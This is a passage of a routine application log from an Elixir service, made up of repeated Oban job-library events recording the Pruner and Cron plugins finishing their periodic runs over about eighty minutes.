[info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.648 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:24.125 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:54.127 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.650 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:24.127 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:54.130 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.651 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:24.133 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:54.135 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.653 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:24.138 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:54.141 [info] {"source":"oban","duration":2064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.655 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:24.144 [info] {"source":"oban","duration":1942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:54.147 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.656 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:24.150 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:54.152 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.657 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:24.155 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:54.157 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.657 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:24.160 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:54.162 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.659 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:24.164 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:54.166 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.661 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:24.169 [info] {"source":"oban","duration":1940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:54.172 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.663 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:24.175 [info] {"source":"oban","duration":1998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:54.178 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.664 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:24.181 [info] {"source":"oban","duration":1918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:54.184 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.666 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:24.187 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:54.190 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.668 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:24.193 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:54.196 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.670 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:24.199 [info] {"source":"oban","duration":2289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:54.202 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.672 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:24.205 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:54.208 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.673 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:24.211 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:54.213 [info] {"source":"oban","duration":1957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.675 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:24.216 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:54.219 [info] {"source":"oban","duration":1797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.675 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:24.222 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:54.225 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.677 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:24.228 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:54.230 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.679 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:24.233 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:54.235 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.679 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:24.238 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:54.241 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.681 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:24.243 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:54.246 [info] {"source":"oban","duration":1980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.683 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:24.249 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:54.252 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.684 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:24.254 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:54.256 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.684 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:24.259 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:54.262 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.685 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:24.265 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:54.268 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.686 [info] {"source":"oban","duration":95,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:24.270 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:54.273 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.687 [info] {"source":"oban","duration":133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:24.276 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:54.279 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.688 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:24.282 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:54.285 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.689 [info] {"source":"oban","duration":210,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:24.288 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:54.290 [info] {"source":"oban","duration":2135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.690 [info] {"source":"oban","duration":148,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:24.294 [info] {"source":"oban","duration":3198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 15:57:54.297 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.691 [info] {"source":"oban","duration":141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:24.300 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:54.302 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.692 [info] {"source":"oban","duration":122,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:24.304 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:54.307 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.693 [info] {"source":"oban","duration":131,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:24.309 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:54.310 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.694 [info] {"source":"oban","duration":138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:24.312 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:54.314 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:00.695 [info] {"source":"oban","duration":117,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:02:24.317 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:02:54.319 [info] {"source":"oban","duration":2184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:00.696 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:03:24.322 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:03:54.325 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:00.697 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:04:24.328 [info] {"source":"oban","duration":1710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:04:54.331 [info] {"source":"oban","duration":2119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:00.698 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:05:24.334 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:05:54.337 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:00.699 [info] {"source":"oban","duration":126,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:06:24.340 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:06:54.343 [info] {"source":"oban","duration":2133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:00.700 [info] {"source":"oban","duration":120,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:07:24.346 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:07:54.349 [info] {"source":"oban","duration":1918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:00.701 [info] {"source":"oban","duration":138,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:08:24.352 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:54.355 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.702 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:09:24.358 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:54.361 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:00.703 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:10:24.363 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:54.366 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.704 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:11:24.369 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:54.372 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.705 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:12:24.374 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:54.377 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.706 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:13:24.380 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:54.383 [info] {"source":"oban","duration":1866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.707 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:14:24.386 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:54.389 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.708 [info] {"source":"oban","duration":127,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:15:24.392 [info] {"source":"oban","duration":1696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:54.395 [info] {"source":"oban","duration":1910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.709 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:16:24.398 [info] {"source":"oban","duration":2343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:54.401 [info] {"source":"oban","duration":2171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:00.710 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:17:24.404 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:54.407 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:00.711 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:24.410 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:54.413 [info] {"source":"oban","duration":2098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.712 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:24.416 [info] {"source":"oban","duration":2277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:54.419 [info] {"source":"oban","duration":2042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.713 [info] {"source":"oban","duration":135,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:24.422 [info] {"source":"oban","duration":2137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:54.425 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.714 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:24.428 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:54.431 [info] {"source":"oban","duration":2272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.715 [info] {"source":"oban","duration":139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:24.434 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:54.437 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.716 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:24.440 [info] {"source":"oban","duration":1588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:54.443 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.717 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:24.446 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:54.449 [info] {"source":"oban","duration":2206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.718 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:24.452 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:54.454 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.719 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:24.457 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:54.460 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.721 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:24.463 [info] {"source":"oban","duration":2081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:54.466 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.721 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:24.469 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:54.471 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.722 [info] {"source":"oban","duration":163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:24.474 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:54.476 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.723 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:24.478 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:54.481 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.724 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:24.484 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:54.487 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.725 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:24.490 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:54.492 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.726 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:24.495 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:54.498 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.727 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:24.501 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:54.504 [info] {"source":"oban","duration":1738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.728 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:24.507 [info] {"source":"oban","duration":1766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:54.510 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.729 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:24.513 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:54.516 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.730 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:24.519 [info] {"source":"oban","duration":2002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:54.522 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.732 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:24.525 [info] {"source":"oban","duration":2094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:54.528 [info] {"source":"oban","duration":2061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.733 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:24.531 [info] {"source":"oban","duration":2046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:54.534 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.734 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:24.537 [info] {"source":"oban","duration":2019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:54.540 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.735 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:24.543 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:54.546 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.736 [info] {"source":"oban","duration":243,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:24.549 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:54.552 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.737 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:24.555 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:54.558 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.738 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:24.561 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:54.564 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.739 [info] 